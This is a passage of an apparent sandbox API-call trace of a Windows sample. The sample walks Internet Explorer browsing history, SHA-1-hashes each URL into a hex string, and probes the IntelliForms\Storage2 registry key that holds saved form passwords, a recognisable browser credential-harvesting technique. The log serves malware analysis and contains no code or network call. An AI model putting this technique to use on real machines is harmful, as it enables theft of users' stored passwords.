LocalFree (hMem=0x71cf1a0) returned 0x0 [0097.835] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CD") returned 2 [0097.835] lstrlenW (lpString="46A774542DF10AE53D") returned 18 [0097.835] lstrlenW (lpString="CD") returned 2 [0097.835] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.835] lstrcpyW (in: lpString1=0x72912f0, lpString2="46A774542DF10AE53D" | out: lpString1="46A774542DF10AE53D") returned="46A774542DF10AE53D" [0097.835] lstrcatW (in: lpString1="46A774542DF10AE53D", lpString2="CD" | out: lpString1="46A774542DF10AE53DCD") returned="46A774542DF10AE53DCD" [0097.835] LocalFree (hMem=0x71cf250) returned 0x0 [0097.836] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2A") returned 2 [0097.836] lstrlenW (lpString="46A774542DF10AE53DCD") returned 20 [0097.836] lstrlenW (lpString="2A") returned 2 [0097.836] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.836] lstrcpyW (in: lpString1=0x7290b70, lpString2="46A774542DF10AE53DCD" | out: lpString1="46A774542DF10AE53DCD") returned="46A774542DF10AE53DCD" [0097.836] lstrcatW (in: lpString1="46A774542DF10AE53DCD", lpString2="2A" | out: lpString1="46A774542DF10AE53DCD2A") returned="46A774542DF10AE53DCD2A" [0097.836] LocalFree (hMem=0x72912f0) returned 0x0 [0097.836] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6D") returned 2 [0097.836] lstrlenW (lpString="46A774542DF10AE53DCD2A") returned 22 [0097.836] lstrlenW (lpString="6D") returned 2 [0097.836] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.836] lstrcpyW (in: lpString1=0x72912f0, lpString2="46A774542DF10AE53DCD2A" | out: lpString1="46A774542DF10AE53DCD2A") returned="46A774542DF10AE53DCD2A" [0097.836] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A", lpString2="6D" | out: lpString1="46A774542DF10AE53DCD2A6D") returned="46A774542DF10AE53DCD2A6D" [0097.836] LocalFree (hMem=0x7290b70) returned 0x0 [0097.836] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7F") returned 2 [0097.836] lstrlenW (lpString="46A774542DF10AE53DCD2A6D") returned 24 [0097.836] lstrlenW (lpString="7F") returned 2 [0097.836] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.836] lstrcpyW (in: lpString1=0x7290b70, lpString2="46A774542DF10AE53DCD2A6D" | out: lpString1="46A774542DF10AE53DCD2A6D") returned="46A774542DF10AE53DCD2A6D" [0097.836] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A6D", lpString2="7F" | out: lpString1="46A774542DF10AE53DCD2A6D7F") returned="46A774542DF10AE53DCD2A6D7F" [0097.836] LocalFree (hMem=0x72912f0) returned 0x0 [0097.836] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="98") returned 2 [0097.836] lstrlenW (lpString="46A774542DF10AE53DCD2A6D7F") returned 26 [0097.836] lstrlenW (lpString="98") returned 2 [0097.836] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2814970 [0097.836] lstrcpyW (in: lpString1=0x2814970, lpString2="46A774542DF10AE53DCD2A6D7F" | out: lpString1="46A774542DF10AE53DCD2A6D7F") returned="46A774542DF10AE53DCD2A6D7F" [0097.836] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A6D7F", lpString2="98" | out: lpString1="46A774542DF10AE53DCD2A6D7F98") returned="46A774542DF10AE53DCD2A6D7F98" [0097.836] LocalFree (hMem=0x7290b70) returned 0x0 [0097.836] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="76") returned 2 [0097.836] lstrlenW (lpString="46A774542DF10AE53DCD2A6D7F98") returned 28 [0097.836] lstrlenW (lpString="76") returned 2 [0097.836] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815190 [0097.836] lstrcpyW (in: lpString1=0x2815190, lpString2="46A774542DF10AE53DCD2A6D7F98" | out: lpString1="46A774542DF10AE53DCD2A6D7F98") returned="46A774542DF10AE53DCD2A6D7F98" [0097.836] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A6D7F98", lpString2="76" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876") returned="46A774542DF10AE53DCD2A6D7F9876" [0097.836] LocalFree (hMem=0x2814970) returned 0x0 [0097.836] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="82") returned 2 [0097.836] lstrlenW (lpString="46A774542DF10AE53DCD2A6D7F9876") returned 30 [0097.836] lstrlenW (lpString="82") returned 2 [0097.836] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2814970 [0097.837] lstrcpyW (in: lpString1=0x2814970, lpString2="46A774542DF10AE53DCD2A6D7F9876" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876") returned="46A774542DF10AE53DCD2A6D7F9876" [0097.837] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A6D7F9876", lpString2="82" | out: lpString1="46A774542DF10AE53DCD2A6D7F987682") returned="46A774542DF10AE53DCD2A6D7F987682" [0097.837] LocalFree (hMem=0x2815190) returned 0x0 [0097.837] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2F") returned 2 [0097.837] lstrlenW (lpString="46A774542DF10AE53DCD2A6D7F987682") returned 32 [0097.837] lstrlenW (lpString="2F") returned 2 [0097.837] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815190 [0097.837] lstrcpyW (in: lpString1=0x2815190, lpString2="46A774542DF10AE53DCD2A6D7F987682" | out: lpString1="46A774542DF10AE53DCD2A6D7F987682") returned="46A774542DF10AE53DCD2A6D7F987682" [0097.837] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A6D7F987682", lpString2="2F" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876822F") returned="46A774542DF10AE53DCD2A6D7F9876822F" [0097.837] LocalFree (hMem=0x2814970) returned 0x0 [0097.837] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F2") returned 2 [0097.837] lstrlenW (lpString="46A774542DF10AE53DCD2A6D7F9876822F") returned 34 [0097.837] lstrlenW (lpString="F2") returned 2 [0097.837] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.837] lstrcpyW (in: lpString1=0x28e7670, lpString2="46A774542DF10AE53DCD2A6D7F9876822F" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876822F") returned="46A774542DF10AE53DCD2A6D7F9876822F" [0097.837] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A6D7F9876822F", lpString2="F2" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2") returned="46A774542DF10AE53DCD2A6D7F9876822FF2" [0097.837] LocalFree (hMem=0x2815190) returned 0x0 [0097.837] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D0") returned 2 [0097.837] lstrlenW (lpString="46A774542DF10AE53DCD2A6D7F9876822FF2") returned 36 [0097.837] lstrlenW (lpString="D0") returned 2 [0097.837] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.837] lstrcpyW (in: lpString1=0x28e7910, lpString2="46A774542DF10AE53DCD2A6D7F9876822FF2" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2") returned="46A774542DF10AE53DCD2A6D7F9876822FF2" [0097.837] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2", lpString2="D0" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2D0") returned="46A774542DF10AE53DCD2A6D7F9876822FF2D0" [0097.837] LocalFree (hMem=0x28e7670) returned 0x0 [0097.837] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="51") returned 2 [0097.837] lstrlenW (lpString="46A774542DF10AE53DCD2A6D7F9876822FF2D0") returned 38 [0097.837] lstrlenW (lpString="51") returned 2 [0097.837] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.837] lstrcpyW (in: lpString1=0x28e7670, lpString2="46A774542DF10AE53DCD2A6D7F9876822FF2D0" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2D0") returned="46A774542DF10AE53DCD2A6D7F9876822FF2D0" [0097.837] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2D0", lpString2="51" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2D051") returned="46A774542DF10AE53DCD2A6D7F9876822FF2D051" [0097.837] LocalFree (hMem=0x28e7910) returned 0x0 [0097.837] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B4") returned 2 [0097.837] lstrlenW (lpString="46A774542DF10AE53DCD2A6D7F9876822FF2D051") returned 40 [0097.837] lstrlenW (lpString="B4") returned 2 [0097.837] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.837] lstrcpyW (in: lpString1=0x28e7910, lpString2="46A774542DF10AE53DCD2A6D7F9876822FF2D051" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2D051") returned="46A774542DF10AE53DCD2A6D7F9876822FF2D051" [0097.838] lstrcatW (in: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2D051", lpString2="B4" | out: lpString1="46A774542DF10AE53DCD2A6D7F9876822FF2D051B4") returned="46A774542DF10AE53DCD2A6D7F9876822FF2D051B4" [0097.838] LocalFree (hMem=0x28e7670) returned 0x0 [0097.838] CryptDestroyHash (hHash=0x7203ae0) returned 1 [0097.838] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.838] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.838] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.838] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.838] LocalFree (hMem=0x28e7910) returned 0x0 [0097.838] CoTaskMemFree (pv=0x71e7820) [0097.838] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.838] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/3K0zw%205w2qsAHkoes.pptx", lpSrch="?") returned 0x0 [0097.838] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.839] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.839] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/3K0zw%205w2qsAHkoes.pptx") returned 60 [0097.839] CryptHashData (hHash=0x7203ae0, pbData=0x7185c70, dwDataLen=0x7a, dwFlags=0x0) returned 1 [0097.839] CryptGetHashParam (in: hHash=0x7203ae0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.839] CryptDestroyHash (hHash=0x7203ae0) returned 1 [0097.839] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.839] CoTaskMemFree (pv=0x7185c70) [0097.839] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.839] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/7tVJ.bmp", lpSrch="?") returned 0x0 [0097.839] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.839] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.840] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/7tVJ.bmp") returned 80 [0097.840] CryptHashData (hHash=0x7203df0, pbData=0x71cfd50, dwDataLen=0xa2, dwFlags=0x0) returned 1 [0097.840] CryptGetHashParam (in: hHash=0x7203df0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.840] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F5") returned 2 [0097.840] lstrlenW (lpString="") returned 0 [0097.840] lstrlenW (lpString="F5") returned 2 [0097.840] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7185c70 [0097.840] lstrcpyW (in: lpString1=0x7185c70, lpString2="" | out: lpString1="") returned="" [0097.840] lstrcatW (in: lpString1="", lpString2="F5" | out: lpString1="F5") returned="F5" [0097.840] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="02") returned 2 [0097.840] lstrlenW (lpString="F5") returned 2 [0097.840] lstrlenW (lpString="02") returned 2 [0097.840] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c9200 [0097.840] lstrcpyW (in: lpString1=0x28c9200, lpString2="F5" | out: lpString1="F5") returned="F5" [0097.840] lstrcatW (in: lpString1="F5", lpString2="02" | out: lpString1="F502") returned="F502" [0097.840] LocalFree (hMem=0x7185c70) returned 0x0 [0097.840] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="47") returned 2 [0097.840] lstrlenW (lpString="F502") returned 4 [0097.840] lstrlenW (lpString="47") returned 2 [0097.840] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c6500 [0097.840] lstrcpyW (in: lpString1=0x28c6500, lpString2="F502" | out: lpString1="F502") returned="F502" [0097.840] lstrcatW (in: lpString1="F502", lpString2="47" | out: lpString1="F50247") returned="F50247" [0097.840] LocalFree (hMem=0x28c9200) returned 0x0 [0097.840] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="57") returned 2 [0097.840] lstrlenW (lpString="F50247") returned 6 [0097.840] lstrlenW (lpString="57") returned 2 [0097.841] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c9200 [0097.841] lstrcpyW (in: lpString1=0x28c9200, lpString2="F50247" | out: lpString1="F50247") returned="F50247" [0097.841] lstrcatW (in: lpString1="F50247", lpString2="57" | out: lpString1="F5024757") returned="F5024757" [0097.841] LocalFree (hMem=0x28c6500) returned 0x0 [0097.841] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F4") returned 2 [0097.841] lstrlenW (lpString="F5024757") returned 8 [0097.841] lstrlenW (lpString="F4") returned 2 [0097.841] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c6500 [0097.841] lstrcpyW (in: lpString1=0x28c6500, lpString2="F5024757" | out: lpString1="F5024757") returned="F5024757" [0097.841] lstrcatW (in: lpString1="F5024757", lpString2="F4" | out: lpString1="F5024757F4") returned="F5024757F4" [0097.841] LocalFree (hMem=0x28c9200) returned 0x0 [0097.841] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="09") returned 2 [0097.841] lstrlenW (lpString="F5024757F4") returned 10 [0097.841] lstrlenW (lpString="09") returned 2 [0097.841] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d02d0 [0097.841] lstrcpyW (in: lpString1=0x71d02d0, lpString2="F5024757F4" | out: lpString1="F5024757F4") returned="F5024757F4" [0097.841] lstrcatW (in: lpString1="F5024757F4", lpString2="09" | out: lpString1="F5024757F409") returned="F5024757F409" [0097.841] LocalFree (hMem=0x28c6500) returned 0x0 [0097.841] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0097.841] lstrlenW (lpString="F5024757F409") returned 12 [0097.841] lstrlenW (lpString="85") returned 2 [0097.841] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf7d0 [0097.841] lstrcpyW (in: lpString1=0x71cf7d0, lpString2="F5024757F409" | out: lpString1="F5024757F409") returned="F5024757F409" [0097.841] lstrcatW (in: lpString1="F5024757F409", lpString2="85" | out: lpString1="F5024757F40985") returned="F5024757F40985" [0097.841] LocalFree (hMem=0x71d02d0) returned 0x0 [0097.841] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="39") returned 2 [0097.841] lstrlenW (lpString="F5024757F40985") returned 14 [0097.841] lstrlenW (lpString="39") returned 2 [0097.841] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d02d0 [0097.841] lstrcpyW (in: lpString1=0x71d02d0, lpString2="F5024757F40985" | out: lpString1="F5024757F40985") returned="F5024757F40985" [0097.841] lstrcatW (in: lpString1="F5024757F40985", lpString2="39" | out: lpString1="F5024757F4098539") returned="F5024757F4098539" [0097.841] LocalFree (hMem=0x71cf7d0) returned 0x0 [0097.841] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0097.841] lstrlenW (lpString="F5024757F4098539") returned 16 [0097.841] lstrlenW (lpString="9F") returned 2 [0097.841] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf7d0 [0097.841] lstrcpyW (in: lpString1=0x71cf7d0, lpString2="F5024757F4098539" | out: lpString1="F5024757F4098539") returned="F5024757F4098539" [0097.842] lstrcatW (in: lpString1="F5024757F4098539", lpString2="9F" | out: lpString1="F5024757F40985399F") returned="F5024757F40985399F" [0097.842] LocalFree (hMem=0x71d02d0) returned 0x0 [0097.842] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0097.842] lstrlenW (lpString="F5024757F40985399F") returned 18 [0097.842] lstrlenW (lpString="5E") returned 2 [0097.842] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.842] lstrcpyW (in: lpString1=0x7290b70, lpString2="F5024757F40985399F" | out: lpString1="F5024757F40985399F") returned="F5024757F40985399F" [0097.842] lstrcatW (in: lpString1="F5024757F40985399F", lpString2="5E" | out: lpString1="F5024757F40985399F5E") returned="F5024757F40985399F5E" [0097.842] LocalFree (hMem=0x71cf7d0) returned 0x0 [0097.842] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BA") returned 2 [0097.842] lstrlenW (lpString="F5024757F40985399F5E") returned 20 [0097.842] lstrlenW (lpString="BA") returned 2 [0097.842] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.842] lstrcpyW (in: lpString1=0x72912f0, lpString2="F5024757F40985399F5E" | out: lpString1="F5024757F40985399F5E") returned="F5024757F40985399F5E" [0097.842] lstrcatW (in: lpString1="F5024757F40985399F5E", lpString2="BA" | out: lpString1="F5024757F40985399F5EBA") returned="F5024757F40985399F5EBA" [0097.842] LocalFree (hMem=0x7290b70) returned 0x0 [0097.842] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0097.842] lstrlenW (lpString="F5024757F40985399F5EBA") returned 22 [0097.842] lstrlenW (lpString="90") returned 2 [0097.842] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.842] lstrcpyW (in: lpString1=0x7290b70, lpString2="F5024757F40985399F5EBA" | out: lpString1="F5024757F40985399F5EBA") returned="F5024757F40985399F5EBA" [0097.842] lstrcatW (in: lpString1="F5024757F40985399F5EBA", lpString2="90" | out: lpString1="F5024757F40985399F5EBA90") returned="F5024757F40985399F5EBA90" [0097.842] LocalFree (hMem=0x72912f0) returned 0x0 [0097.842] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8A") returned 2 [0097.842] lstrlenW (lpString="F5024757F40985399F5EBA90") returned 24 [0097.842] lstrlenW (lpString="8A") returned 2 [0097.842] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.842] lstrcpyW (in: lpString1=0x72912f0, lpString2="F5024757F40985399F5EBA90" | out: lpString1="F5024757F40985399F5EBA90") returned="F5024757F40985399F5EBA90" [0097.842] lstrcatW (in: lpString1="F5024757F40985399F5EBA90", lpString2="8A" | out: lpString1="F5024757F40985399F5EBA908A") returned="F5024757F40985399F5EBA908A" [0097.842] LocalFree (hMem=0x7290b70) returned 0x0 [0097.842] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B4") returned 2 [0097.842] lstrlenW (lpString="F5024757F40985399F5EBA908A") returned 26 [0097.842] lstrlenW (lpString="B4") returned 2 [0097.842] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815190 [0097.842] lstrcpyW (in: lpString1=0x2815190, lpString2="F5024757F40985399F5EBA908A" | out: lpString1="F5024757F40985399F5EBA908A") returned="F5024757F40985399F5EBA908A" [0097.842] lstrcatW (in: lpString1="F5024757F40985399F5EBA908A", lpString2="B4" | out: lpString1="F5024757F40985399F5EBA908AB4") returned="F5024757F40985399F5EBA908AB4" [0097.842] LocalFree (hMem=0x72912f0) returned 0x0 [0097.842] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0A") returned 2 [0097.843] lstrlenW (lpString="F5024757F40985399F5EBA908AB4") returned 28 [0097.843] lstrlenW (lpString="0A") returned 2 [0097.843] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2814970 [0097.843] lstrcpyW (in: lpString1=0x2814970, lpString2="F5024757F40985399F5EBA908AB4" | out: lpString1="F5024757F40985399F5EBA908AB4") returned="F5024757F40985399F5EBA908AB4" [0097.843] lstrcatW (in: lpString1="F5024757F40985399F5EBA908AB4", lpString2="0A" | out: lpString1="F5024757F40985399F5EBA908AB40A") returned="F5024757F40985399F5EBA908AB40A" [0097.843] LocalFree (hMem=0x2815190) returned 0x0 [0097.843] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="41") returned 2 [0097.843] lstrlenW (lpString="F5024757F40985399F5EBA908AB40A") returned 30 [0097.843] lstrlenW (lpString="41") returned 2 [0097.843] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815190 [0097.843] lstrcpyW (in: lpString1=0x2815190, lpString2="F5024757F40985399F5EBA908AB40A" | out: lpString1="F5024757F40985399F5EBA908AB40A") returned="F5024757F40985399F5EBA908AB40A" [0097.843] lstrcatW (in: lpString1="F5024757F40985399F5EBA908AB40A", lpString2="41" | out: lpString1="F5024757F40985399F5EBA908AB40A41") returned="F5024757F40985399F5EBA908AB40A41" [0097.843] LocalFree (hMem=0x2814970) returned 0x0 [0097.843] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1B") returned 2 [0097.843] lstrlenW (lpString="F5024757F40985399F5EBA908AB40A41") returned 32 [0097.843] lstrlenW (lpString="1B") returned 2 [0097.843] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2814970 [0097.843] lstrcpyW (in: lpString1=0x2814970, lpString2="F5024757F40985399F5EBA908AB40A41" | out: lpString1="F5024757F40985399F5EBA908AB40A41") returned="F5024757F40985399F5EBA908AB40A41" [0097.843] lstrcatW (in: lpString1="F5024757F40985399F5EBA908AB40A41", lpString2="1B" | out: lpString1="F5024757F40985399F5EBA908AB40A411B") returned="F5024757F40985399F5EBA908AB40A411B" [0097.843] LocalFree (hMem=0x2815190) returned 0x0 [0097.843] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B1") returned 2 [0097.843] lstrlenW (lpString="F5024757F40985399F5EBA908AB40A411B") returned 34 [0097.843] lstrlenW (lpString="B1") returned 2 [0097.843] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.843] lstrcpyW (in: lpString1=0x28e7910, lpString2="F5024757F40985399F5EBA908AB40A411B" | out: lpString1="F5024757F40985399F5EBA908AB40A411B") returned="F5024757F40985399F5EBA908AB40A411B" [0097.843] lstrcatW (in: lpString1="F5024757F40985399F5EBA908AB40A411B", lpString2="B1" | out: lpString1="F5024757F40985399F5EBA908AB40A411BB1") returned="F5024757F40985399F5EBA908AB40A411BB1" [0097.843] LocalFree (hMem=0x2814970) returned 0x0 [0097.843] CryptDestroyHash (hHash=0x7203df0) returned 1 [0097.843] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.843] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.844] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.844] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.844] LocalFree (hMem=0x28e7670) returned 0x0 [0097.844] CoTaskMemFree (pv=0x71cfd50) [0097.844] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.844] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/cn_0BRgl4hM-kJ8wE.pps", lpSrch="?") returned 0x0 [0097.844] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.930] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.930] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/cn_0BRgl4hM-kJ8wE.pps") returned 71 [0097.930] CryptHashData (hHash=0x7203df0, pbData=0x28c9840, dwDataLen=0x90, dwFlags=0x0) returned 1 [0097.930] CryptGetHashParam (in: hHash=0x7203df0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.930] CryptDestroyHash (hHash=0x7203df0) returned 1 [0097.930] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.930] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.930] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", 